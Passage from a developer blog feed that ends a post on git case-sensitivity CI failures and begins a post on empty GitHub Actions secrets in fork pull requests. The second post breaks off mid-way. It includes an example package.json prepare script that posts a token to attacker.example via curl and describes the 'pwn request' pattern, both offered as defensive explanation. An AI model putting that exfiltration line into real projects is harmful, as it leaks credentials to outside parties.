<h3 id="2-coreignorecase-makes-the-local-correction-a-no-op">2. <code class="language-plaintext highlighter-rouge">core.ignoreCase</code> makes the local correction a no-op</h3>

<p>This is the part that turns a five-second fix into a four-hour outage. Git’s own documentation for the variable:</p>

<blockquote>
  <p>Internal variable which enables various workarounds to enable Git to work better on filesystems that are not case sensitive, like APFS, HFS+, FAT, NTFS, etc. For example, if a directory listing finds “makefile” when Git expects “Makefile”, Git will assume it is really the same file, and continue to remember it as “Makefile”.</p>

  <p>The default is false, except <code class="language-plaintext highlighter-rouge">git-clone</code> or <code class="language-plaintext highlighter-rouge">git-init</code> will probe and set core.ignoreCase true if appropriate when the repository is created.</p>
</blockquote>

<p>Read the mechanism carefully: with <code class="language-plaintext highlighter-rouge">core.ignoreCase = true</code>, git treats a directory-listing name that differs only in case as <em>the same file it already has in the index</em>, and <strong>keeps the index entry’s spelling</strong>. A plain <code class="language-plaintext highlighter-rouge">mv</code> that changes only case therefore produces no diff, no staged change, and no commit. The index still says <code class="language-plaintext highlighter-rouge">src/services/userService.ts</code>, the runner still checks out <code class="language-plaintext highlighter-rouge">userService.ts</code>, and the import still fails.</p>

<p>The developer’s “I renamed it and pushed” was true about their working tree and false about the repository.</p>

<h3 id="3-the-confirming-evidence">3. The confirming evidence</h3>

<p>Three commands, in order, and the third is the one that ends the argument:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># what git actually tracks - the authority, not the filesystem</span>
<span class="nv">$ </span>git ls-files src/services/ | <span class="nb">grep</span> <span class="nt">-i</span> userservice
src/services/userService.ts

<span class="c"># how git is configured to treat case on THIS machine</span>
<span class="nv">$ </span>git config core.ignorecase
<span class="nb">true</span>

<span class="c"># what the runner sees - add this as a temporary step in the workflow</span>
<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> src/services/
<span class="nt">-rw-r--r--</span> 1 runner docker  2841 Sep  8 09:14 paymentGateway.ts
<span class="nt">-rw-r--r--</span> 1 runner docker  3517 Sep  8 09:14 userService.ts
</code></pre></div></div>

<p>The runner’s directory listing shows the lowercase name. <code class="language-plaintext highlighter-rouge">actions/checkout</code> wrote exactly what the index contains, on a filesystem that will not pretend two spellings are one path.</p>

<pre><code class="language-mermaid">flowchart TD
    IDX["git index entry&lt;br/&gt;src/services/userService.ts"]

    IDX --&gt; MAC["checkout on macOS APFS&lt;br/&gt;case-insensitive, case-preserving"]
    IDX --&gt; WIN["checkout on Windows NTFS&lt;br/&gt;case-insensitive"]
    IDX --&gt; LIN["actions/checkout on ubuntu-latest ext4&lt;br/&gt;case-SENSITIVE"]

    MAC --&gt; R1{"resolve import&lt;br/&gt;./services/UserService"}
    WIN --&gt; R2{"resolve import&lt;br/&gt;./services/UserService"}
    LIN --&gt; R3{"resolve import&lt;br/&gt;./services/UserService"}

    R1 --&gt;|"open matches userService.ts"| P1["tests pass"]
    R2 --&gt;|"open matches userService.ts"| P2["tests pass"]
    R3 --&gt;|"no such path on disk"| F1["Module not found&lt;br/&gt;Can't resolve ./services/UserService"]

    MAC --&gt; IG["core.ignorecase = true&lt;br/&gt;set by git clone on this filesystem"]
    IG --&gt; REN["plain mv to UserService.ts"]
    REN --&gt; NOOP["git status clean&lt;br/&gt;index still says userService.ts"]
    NOOP --&gt; IDX

    classDef fail fill:#fde8e8,stroke:#c0392b,color:#111
    classDef ok fill:#e6f6ec,stroke:#1e8449,color:#111
    classDef neutral fill:#f2f2f2,stroke:#888,color:#111
    class F1,NOOP,REN fail
    class P1,P2 ok
    class IDX,MAC,WIN,LIN,IG neutral
</code></pre>

<p>The loop at the bottom right is the four hours: every attempted local fix feeds straight back into the same unchanged index entry.</p>

<h2 id="the-fix">The fix</h2>

<p>Force the rename through the index in two steps, so <code class="language-plaintext highlighter-rouge">core.ignoreCase</code> never gets the chance to collapse the two names into one:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># step 1: rename to a name that differs by more than case</span>
git <span class="nb">mv </span>src/services/userService.ts src/services/userService.tmp.ts

<span class="c"># step 2: rename to the intended casing</span>
git <span class="nb">mv </span>src/services/userService.tmp.ts src/services/UserService.ts

git status <span class="nt">--short</span>
<span class="c"># R  src/services/userService.ts -&gt; src/services/UserService.ts</span>

git commit <span class="nt">-m</span> <span class="s2">"Fix casing of UserService.ts to match imports"</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">git mv -f</code> in one step works on current git versions, but the two-step form is the one that behaves identically everywhere and leaves an unambiguous <code class="language-plaintext highlighter-rouge">R</code> in <code class="language-plaintext highlighter-rouge">git status</code> that you can actually verify before committing. Verify with <code class="language-plaintext highlighter-rouge">git ls-files</code>, not with <code class="language-plaintext highlighter-rouge">ls</code> — only the index matters to the runner.</p>

<p>Then close the hole so the next one is caught before it reaches CI. Add a case-collision guard as an early workflow step — it is a one-liner over the index and costs milliseconds:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Reject paths that collide under case folding</span>
        <span class="na">run</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">dupes=$(git ls-files | tr 'A-Z' 'a-z' | sort | uniq -d)</span>
          <span class="s">if [ -n "$dupes" ]; then</span>
            <span class="s">echo "::error::paths differing only by case are tracked:"</span>
            <span class="s">echo "$dupes"</span>
            <span class="s">exit 1</span>
          <span class="s">fi</span>
</code></pre></div></div>

<p>And make the resolver itself enforce casing at compile time rather than at <code class="language-plaintext highlighter-rouge">open()</code> time. For TypeScript, set it explicitly — do not rely on the default, which has changed across releases:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"compilerOptions"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"forceConsistentCasingInFileNames"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The documented behavior is exactly the check you want: “When this option is set, TypeScript will issue an error if a program tries to include a file by a casing different from the casing on disk.” On a case-insensitive machine that means <code class="language-plaintext highlighter-rouge">tsc --noEmit</code> fails locally, at the developer’s desk, for the same reason CI would have failed — which is the point.</p>

<p>Do <strong>not</strong> “fix” this by setting <code class="language-plaintext highlighter-rouge">core.ignoreCase = false</code> on developer machines. Git’s own documentation is explicit that this is an internal variable probed to match the filesystem: “Git relies on the proper configuration of this variable for your operating and file system. Modifying this value may result in unexpected behavior.” You would be telling git the filesystem is case-sensitive when it is not.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Parallelism differs, and that is the second-most-common “only in CI” failure.</strong> Standard GitHub-hosted runners are 4-CPU / 16 GB for public repositories and 2-CPU / 8 GB for private ones; a developer laptop routinely has 10 or more cores. Test runners that default their worker count to the CPU count therefore shard and order tests differently in CI than locally, which is what exposes shared state — a module-level singleton, a leftover row in a test database, a fixture file two tests both write. Pin the worker count explicitly in both places (<code class="language-plaintext highlighter-rouge">--maxWorkers=2</code>, <code class="language-plaintext highlighter-rouge">-n 2</code>) so local and CI runs partition identically, and use the runner’s serial mode to distinguish an ordering bug from a genuine one.</p>
  </li>
  <li>
    <p><strong>Print the timezone and locale rather than assuming them.</strong> Date-formatting and string-collation tests break when the runner’s <code class="language-plaintext highlighter-rouge">TZ</code> and <code class="language-plaintext highlighter-rouge">LC_ALL</code> differ from a developer’s. Do not assume any particular runner default — add <code class="language-plaintext highlighter-rouge">run: date +%Z; locale</code> as a diagnostic step, read the actual values, then pin both explicitly in the workflow <code class="language-plaintext highlighter-rouge">env:</code> and in the local test script so the two environments agree by construction rather than by coincidence.</p>
  </li>
  <li>
    <p><strong>Confirm the lockfile is actually being honored.</strong> <code class="language-plaintext highlighter-rouge">npm install</code> will resolve to newer versions and rewrite the lockfile; <code class="language-plaintext highlighter-rouge">npm ci</code> installs strictly from the lockfile, deletes <code class="language-plaintext highlighter-rouge">node_modules</code> first, and errors out if <code class="language-plaintext highlighter-rouge">package.json</code> and <code class="language-plaintext highlighter-rouge">package-lock.json</code> disagree. A CI step running <code class="language-plaintext highlighter-rouge">npm install</code> where developers run <code class="language-plaintext highlighter-rouge">npm ci</code> (or the reverse) is a real, silent version skew. The equivalents are <code class="language-plaintext highlighter-rouge">pip install -r requirements.txt</code> with hashes / <code class="language-plaintext highlighter-rouge">pip-sync</code>, <code class="language-plaintext highlighter-rouge">dotnet restore --locked-mode</code>, and <code class="language-plaintext highlighter-rouge">bundle install --frozen</code>.</p>
  </li>
  <li>
    <p><strong>Remember that pinning an action does not pin the OS image.</strong> Runner images are rebuilt continuously and tracked in <code class="language-plaintext highlighter-rouge">actions/runner-images</code>; pinning <code class="language-plaintext highlighter-rouge">actions/setup-node@v4</code> pins the action, not the preinstalled toolchain underneath it. A build that started failing with no change to your workflow file may have moved to a new image. Pin the runner label to a specific version (<code class="language-plaintext highlighter-rouge">runs-on: ubuntu-24.04</code>, not <code class="language-plaintext highlighter-rouge">ubuntu-latest</code>) when reproducibility matters more than staying current, and pin the language version in the <code class="language-plaintext highlighter-rouge">setup-*</code> action rather than accepting whatever the image ships.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />A case-collision guard runs <code class="language-plaintext highlighter-rouge">git ls-files | tr 'A-Z' 'a-z' | sort | uniq -d</code> early in the workflow and fails the job on any output</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">forceConsistentCasingInFileNames</code> is set explicitly in <code class="language-plaintext highlighter-rouge">tsconfig.json</code> (or the language’s equivalent import-casing check is enabled) so casing errors surface at compile time on every machine</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Case-only renames are done with the two-step <code class="language-plaintext highlighter-rouge">git mv</code> and verified with <code class="language-plaintext highlighter-rouge">git ls-files</code>, never with a plain <code class="language-plaintext highlighter-rouge">mv</code> plus a glance at <code class="language-plaintext highlighter-rouge">git status</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">core.ignoreCase</code> is left at whatever <code class="language-plaintext highlighter-rouge">git clone</code> probed for the local filesystem, and is never hand-set to <code class="language-plaintext highlighter-rouge">false</code> as a workaround</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test worker count is pinned to the same explicit number locally and in CI, rather than defaulting to each machine’s CPU count</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">TZ</code> and the locale are set explicitly in the workflow <code class="language-plaintext highlighter-rouge">env:</code> and in the local test script, after checking the runner’s real values with a <code class="language-plaintext highlighter-rouge">date +%Z; locale</code> step</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />The install step is the lockfile-strict variant (<code class="language-plaintext highlighter-rouge">npm ci</code>, <code class="language-plaintext highlighter-rouge">--locked-mode</code>, <code class="language-plaintext highlighter-rouge">pip-sync</code>) in CI and locally</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>The file is definitely named correctly in my editor. Why does the runner disagree?</strong>
Because your editor is showing you the working tree and the runner is showing you the index. On a filesystem with <code class="language-plaintext highlighter-rouge">core.ignoreCase = true</code>, git keeps the index entry’s original spelling when a directory listing differs only in case, so the working tree can display <code class="language-plaintext highlighter-rouge">UserService.ts</code> while the committed path is still <code class="language-plaintext highlighter-rouge">userService.ts</code>. <code class="language-plaintext highlighter-rouge">git ls-files</code> is the only local command that answers the runner’s question.</p>

<p><strong>Would using a case-sensitive volume on macOS have caught this?</strong>
Yes, and it is the strongest local guard available — a case-sensitive APFS volume makes the import fail on the developer’s own machine. It is also disruptive: several commercial macOS applications do not support case-sensitive volumes. The compile-time check plus the CI guard step gets most of the benefit without that cost.</p>

<p><strong>We fixed the casing and the very next PR from a different developer reintroduced it. How?</strong>
Because their clone still has <code class="language-plaintext highlighter-rouge">core.ignoreCase = true</code> and their filesystem still resolves either spelling. Nothing about fixing one file changes the conditions that produced it. That is exactly what the workflow guard step and <code class="language-plaintext highlighter-rouge">forceConsistentCasingInFileNames</code> are for — they make the class of bug impossible to commit, rather than fixing one instance of it.</p>

<p><strong>How do I tell this apart from a genuine flaky test that only happens to fail in CI?</strong>
By determinism. This failure reproduces on every run, at the same import, with the same message, because the filesystem semantics are fixed. A flake caused by parallelism or shared state moves — different test, different run, sometimes green. If the same line fails ten times out of ten in CI and zero times out of ten locally, look at environment <em>semantics</em> (filesystem, timezone, locale, resolved versions), not at ordering.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> <code class="language-plaintext highlighter-rouge">Module not found: Error: Can't resolve './services/UserService'</code> on <code class="language-plaintext highlighter-rouge">ubuntu-latest</code> only, deterministic, with a clean <code class="language-plaintext highlighter-rouge">git status</code> on every developer machine</li>
  <li><strong>Domain:</strong> cicd</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/git/git/blob/master/Documentation/config/core.adoc">git — <code class="language-plaintext highlighter-rouge">Documentation/config/core.adoc</code></a> — establishes <code class="language-plaintext highlighter-rouge">core.ignoreCase</code>’s exact behavior on APFS/HFS+/FAT/NTFS, that it defaults to false but <code class="language-plaintext highlighter-rouge">git clone</code>/<code class="language-plaintext highlighter-rouge">git init</code> probe and set it true when appropriate, and the warning that modifying it may result in unexpected behavior</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.github.com/en/actions/reference/runners/github-hosted-runners">GitHub-hosted runners reference — GitHub Docs</a> — establishes the 4-CPU/16 GB standard runner for public repositories versus 2-CPU/8 GB for private ones, the difference that changes test-runner worker counts between CI and a developer machine</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.typescriptlang.org/tsconfig/forceConsistentCasingInFileNames.html"><code class="language-plaintext highlighter-rouge">forceConsistentCasingInFileNames</code> — TSConfig reference</a> — establishes the compile-time check: TypeScript “follows the case sensitivity rules of the file system it’s running on”, and when the option is set “will issue an error if a program tries to include a file by a casing different from the casing on disk”</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/actions/runner-images">actions/runner-images</a> — the source of truth for what is preinstalled on each runner label, and why pinning an action version does not pin the underlying image</li>
</ul>]]></content><author><name>Mayur</name></author><category term="cicd" /><category term="cicd" /><category term="troubleshooting" /><category term="debugging" /><category term="github-actions" /><category term="git" /><category term="runner-images" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: a build that succeeds on every macOS and Windows developer machine and fails deterministically on ubuntu-latest with a module-not-found error. The root cause is filesystem case sensitivity on the Linux runner combined with Git's core.ignoreCase, which makes a case-only filename correction invisible to git status locally. Trace the fix through git ls-files, the two-step git mv, and a case-collision guard step in the workflow.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/cicd-passes-locally-fails-in-ci.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/cicd-passes-locally-fails-in-ci.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CI/CD: Why Are My GitHub Actions Secrets Empty Strings on Pull Requests from Forks?</title><link href="https://mayurjp.github.io/dev-blog/cicd/cicd-secrets-empty-in-fork-pr/" rel="alternate" type="text/html" title="CI/CD: Why Are My GitHub Actions Secrets Empty Strings on Pull Requests from Forks?" /><published>2026-09-08T03:30:00+00:00</published><updated>2026-09-08T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/cicd/cicd-secrets-empty-in-fork-pr</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/cicd/cicd-secrets-empty-in-fork-pr/"><![CDATA[<p><strong>TL;DR:</strong> GitHub deliberately does not pass secrets to a <code class="language-plaintext highlighter-rouge">pull_request</code> run that came from a fork, because that run checks out and executes the fork author’s code — an unresolved secret expression evaluates to the empty string rather than erroring, which is why it fails silently. The fix is <em>not</em> to switch the trigger to <code class="language-plaintext highlighter-rouge">pull_request_target</code>.</p>

<blockquote>
  <p><strong>In plain English (30 sec):</strong> Env file outside code — same image, different config.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“Our SonarCloud step needs <code class="language-plaintext highlighter-rouge">SONAR_TOKEN</code>. It works perfectly on pull requests opened from branches inside our repo. On pull requests from external contributors’ forks, the exact same job runs, the exact same step executes, and the scanner exits with <code class="language-plaintext highlighter-rouge">You're not authorized to analyze this project</code>. The secret is defined at the repository level. There is no <code class="language-plaintext highlighter-rouge">Secret not found</code> warning anywhere in the log. The workflow file is byte-identical in both cases because it comes from our base branch either way.”</p>
</blockquote>

<p>Three guesses are already dead. It is not a trigger problem — the job <em>runs</em>, so the <code class="language-plaintext highlighter-rouge">on:</code> block and any <code class="language-plaintext highlighter-rouge">if:</code> conditions evaluated true. It is not a missing secret — same-repo PRs on the same workflow file prove the secret exists and is spelled correctly. And it is not an environment-scoped secret waiting on a reviewer — the job would show as <em>waiting</em>, not as <em>running and failing</em>.</p>

<p>The confusing part is the silence. GitHub does not error on an unavailable secret. <code class="language-plaintext highlighter-rouge">secrets.SONAR_TOKEN</code> simply resolves to <code class="language-plaintext highlighter-rouge">""</code>, and the CLI downstream reports an authorization failure that reads like a permissions misconfiguration in SonarCloud rather than a CI context problem.</p>

<h2 id="reproduce">Reproduce</h2>

<p>Add a probe step that reports whether the secret is non-empty <em>without</em> printing it:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">pr-checks</span>
<span class="na">on</span><span class="pi">:</span>
  <span class="na">pull_request</span><span class="pi">:</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">scan</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>

      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Probe secret availability</span>
        <span class="na">env</span><span class="pi">:</span>
          <span class="na">HAS_TOKEN</span><span class="pi">:</span> <span class="s">${{ secrets.SONAR_TOKEN != '' }}</span>
          <span class="na">FROM_FORK</span><span class="pi">:</span> <span class="s">${{ github.event.pull_request.head.repo.fork }}</span>
          <span class="na">HEAD_REPO</span><span class="pi">:</span> <span class="s">${{ github.event.pull_request.head.repo.full_name }}</span>
        <span class="na">run</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">echo "from fork: $FROM_FORK"</span>
          <span class="s">echo "head repo: $HEAD_REPO"</span>
          <span class="s">echo "token present: $HAS_TOKEN"</span>
</code></pre></div></div>

<p>On a same-repo PR:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from fork: false
head repo: acme/payments-api
token present: true
</code></pre></div></div>

<p>On a PR from <code class="language-plaintext highlighter-rouge">contributor/payments-api</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from fork: true
head repo: contributor/payments-api
token present: false
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">token present: false</code> — not an error, not a warning. The expression evaluated, produced <code class="language-plaintext highlighter-rouge">""</code>, and <code class="language-plaintext highlighter-rouge">"" != ''</code> is <code class="language-plaintext highlighter-rouge">false</code>.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-a-fork-pr-runs-the-base-repos-workflow-file-against-the-forks-code">1. A fork PR runs the base repo’s workflow file against the fork’s code</h3>

<p>This is the detail that makes the behavior feel inconsistent. The <em>workflow definition</em> comes from the base repository — a fork cannot edit your <code class="language-plaintext highlighter-rouge">pr-checks.yml</code> and have the edited version run, which is why the file “looks the same in both cases.” But the <em>repository content the job checks out and executes</em> is the fork’s head commit: its source, its test files, its <code class="language-plaintext highlighter-rouge">package.json</code> lifecycle scripts, its build tooling.</p>

<p>So the job is running attacker-controllable code in a context that has access to whatever the workflow gives it.</p>

<h3 id="2-github-withholds-secrets-from-that-context-by-design">2. GitHub withholds secrets from that context by design</h3>

<p>The events reference states it without qualification:</p>

<blockquote>
  <p>With the exception of <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code>, secrets are not passed to the runner when a workflow is triggered from a forked repository.</p>
</blockquote>

<p>and, for the one secret that <em>is</em> passed:</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> has read-only permissions in pull requests from forked repositories.</p>
</blockquote>

<p>The reason is direct. If secrets were populated, anyone on the internet could open a pull request whose <code class="language-plaintext highlighter-rouge">package.json</code> contains</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"prepare"</span><span class="p">:</span><span class="w"> </span><span class="s2">"curl -X POST -d </span><span class="se">\"</span><span class="s2">$SONAR_TOKEN</span><span class="se">\"</span><span class="s2"> https://attacker.example/collect"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>and <code class="language-plaintext highlighter-rouge">npm ci</code> in your own workflow would exfiltrate the token for them. No review needed — the workflow runs on PR open. GitHub Security Lab’s guidance is the same: “the standard <code class="language-plaintext highlighter-rouge">pull_request</code> workflow trigger by default prevents write permissions and secrets access to the target repository.”</p>

<p>The empty string, rather than a hard error, is what makes this hard to spot: expression interpolation of an unavailable secret is a normal, successful evaluation that yields nothing.</p>

<h3 id="3-the-evidence-in-the-log-is-what-is-missing">3. The evidence in the log is what is <em>missing</em></h3>

<p>Secrets that reach the runner are registered with the log masker. On a same-repo PR, any accidental echo of the token renders as <code class="language-plaintext highlighter-rouge">***</code>. On a fork PR, there is nothing to mask, so the same line prints an empty field:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># same-repo PR
Run sonar-scanner -Dsonar.login=***
INFO: Analysis report uploaded

# fork PR
Run sonar-scanner -Dsonar.login=
ERROR: You're not authorized to analyze this project
</code></pre></div></div>

<p>The absence of <code class="language-plaintext highlighter-rouge">***</code> where you expect it is the confirming signal. Combine it with <code class="language-plaintext highlighter-rouge">github.event.pull_request.head.repo.fork == true</code> from the probe step and the diagnosis is complete.</p>

<h3 id="4-why-pull_request_target-looks-like-the-fix-and-is-not">4. Why <code class="language-plaintext highlighter-rouge">pull_request_target</code> looks like the fix and is not</h3>

<p>Search results converge fast on the same suggestion: swap <code class="language-plaintext highlighter-rouge">pull_request</code> for <code class="language-plaintext highlighter-rouge">pull_request_target</code>, because that trigger <em>does</em> get secrets. It does. That is precisely the problem.</p>

<p><code class="language-plaintext highlighter-rouge">pull_request_target</code> runs in the context of the <strong>base repository’s default branch</strong>, not the merge commit — and consequently it gets the base repo’s secrets and a read/write <code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code>. That is safe <em>only for as long as the job never executes the fork’s code</em>. The moment someone adds a checkout of the PR head to get “the code being tested,” the fork’s code is running with write permissions and full secret access. This is the documented “pwn request” pattern; GitHub’s own docs carry the warning:</p>

<blockquote>
  <p>Running untrusted code on the <code class="language-plaintext highlighter-rouge">pull_request_target</code> trigger may lead to security vulnerabilities. These vulnerabilities include cache poisoning and granting unintended access to write privileges or secrets.</p>
</blockquote>

<pre><code class="language-mermaid">sequenceDiagram
    autonumber
    participant Fork as contributor/payments-api
    participant GH as GitHub
    participant Job as runner job

    rect rgb(232, 244, 236)
    Note over Fork,Job: pull_request - what you have today
    Fork-&gt;&gt;GH: open PR from fork head
    GH-&gt;&gt;Job: start job, workflow file from BASE branch
    Note over GH,Job: secrets NOT injected&lt;br/&gt;GITHUB_TOKEN is read-only
    Job-&gt;&gt;Fork: actions/checkout, fetches the FORK head
    Job-&gt;&gt;Job: npm ci runs the fork's prepare script
    Note over Job: nothing to steal - SONAR_TOKEN is ""&lt;br/&gt;scanner fails, build is honest about it
    end

    rect rgb(253, 232, 232)
    Note over Fork,Job: pull_request_target plus head checkout - the trap
    Fork-&gt;&gt;GH: open PR from fork head
    GH-&gt;&gt;Job: start job in BASE default-branch context
    Note over GH,Job: secrets INJECTED&lt;br/&gt;GITHUB_TOKEN has write scope
    Job-&gt;&gt;Fork: checkout with ref pull_request.head.sha
    Job-&gt;&gt;Job: npm ci runs the fork's prepare script
    Job--&gt;&gt;Fork: attacker code reads SONAR_TOKEN and the write token
    Note over Job: pwn request - no maintainer review happened
    end
</code></pre>

<p>The two rectangles differ by exactly one line of YAML, and that one line is the entire security boundary.</p>

<h2 id="the-fix">The fix</h2>

<h3 id="option-a--keep-pull_request-make-the-secret-dependent-step-conditional-ship-this">Option A — keep <code class="language-plaintext highlighter-rouge">pull_request</code>, make the secret-dependent step conditional (ship this)</h3>

<p>The honest fix is to accept that a fork PR cannot have your secrets and design the job around it. Split the work: everything that needs no credential runs for everyone, and the credentialed step is gated on the PR not coming from a fork.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">on</span><span class="pi">:</span>
  <span class="na">pull_request</span><span class="pi">:</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">test</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">run</span><span class="pi">:</span> <span class="s">npm ci</span>
      <span class="c1"># runs for every PR including forks - no secret needed</span>
      <span class="pi">-</span> <span class="na">run</span><span class="pi">:</span> <span class="s">npm test</span>

  <span class="na">scan</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="c1"># skip cleanly instead of running and failing with an empty token</span>
    <span class="na">if</span><span class="pi">:</span> <span class="s">github.event.pull_request.head.repo.full_name == github.repository</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">env</span><span class="pi">:</span>
          <span class="na">SONAR_TOKEN</span><span class="pi">:</span> <span class="s">${{ secrets.SONAR_TOKEN }}</span>
        <span class="na">run</span><span class="pi">:</span> <span class="s">sonar-scanner</span>
</code></pre></div></div>

<p>Comparing <code class="language-plaintext highlighter-rouge">head.repo.full_name</code> against <code class="language-plaintext highlighter-rouge">github.repository</code> is more robust than reading <code class="language-plaintext highlighter-rouge">head.repo.fork</code>, because <code class="language-plaintext highlighter-rouge">fork</code> is a property of the head repository in general, not of this PR’s relationship to <em>your</em> repo.</p>

<p>If <code class="language-plaintext highlighter-rouge">scan</code> is a required status check, mark the job as skipped-but-successful rather than leaving the PR permanently blocked — either drop it from required checks and run it post-merge on <code class="language-plaintext highlighter-rouge">main</code>, or add a companion job that reports success for fork PRs.</p>

<h3 id="option-b--when-the-credentialed-work-genuinely-must-happen-for-fork-prs-the-workflow_run-handoff">Option B — when the credentialed work genuinely must happen for fork PRs: the <code class="language-plaintext highlighter-rouge">workflow_run</code> handoff</h3>

<p>Some jobs really do need to run for fork PRs — posting coverage back as a PR comment, uploading a scan report. The pattern that does this without executing untrusted code under secrets is a two-workflow split, and it is what GitHub Security Lab recommends:</p>

<ol>
  <li>An <strong>unprivileged</strong> workflow on <code class="language-plaintext highlighter-rouge">pull_request</code> builds and tests the fork’s code with no secrets, and writes its results to an artifact.</li>
  <li>A <strong>privileged</strong> workflow on <code class="language-plaintext highlighter-rouge">workflow_run</code> (which runs from the default branch, with secrets) downloads that artifact and does the credentialed part — comment, upload, label.</li>
</ol>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># .github/workflows/report.yml - the privileged half</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">report</span>
<span class="na">on</span><span class="pi">:</span>
  <span class="na">workflow_run</span><span class="pi">:</span>
    <span class="na">workflows</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">pr-checks"</span><span class="pi">]</span>
    <span class="na">types</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">completed</span><span class="pi">]</span>

<span class="na">permissions</span><span class="pi">:</span>
  <span class="na">pull-requests</span><span class="pi">:</span> <span class="s">write</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">comment</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="c1"># download only - never check out or execute the PR head here</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/download-artifact@v4</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">name</span><span class="pi">:</span> <span class="s">coverage-report</span>
          <span class="na">run-id</span><span class="pi">:</span> <span class="s">${{ github.event.workflow_run.id }}</span>
          <span class="na">github-token</span><span class="pi">:</span> <span class="s">${{ secrets.GITHUB_TOKEN }}</span>
      <span class="c1"># treat every byte of that artifact as untrusted input:</span>
      <span class="c1"># parse it, do not eval it, do not interpolate it into a shell</span>
      <span class="pi">-</span> <span class="na">run</span><span class="pi">:</span> <span class="s">node .github/scripts/post-coverage-comment.js</span>
</code></pre></div></div>

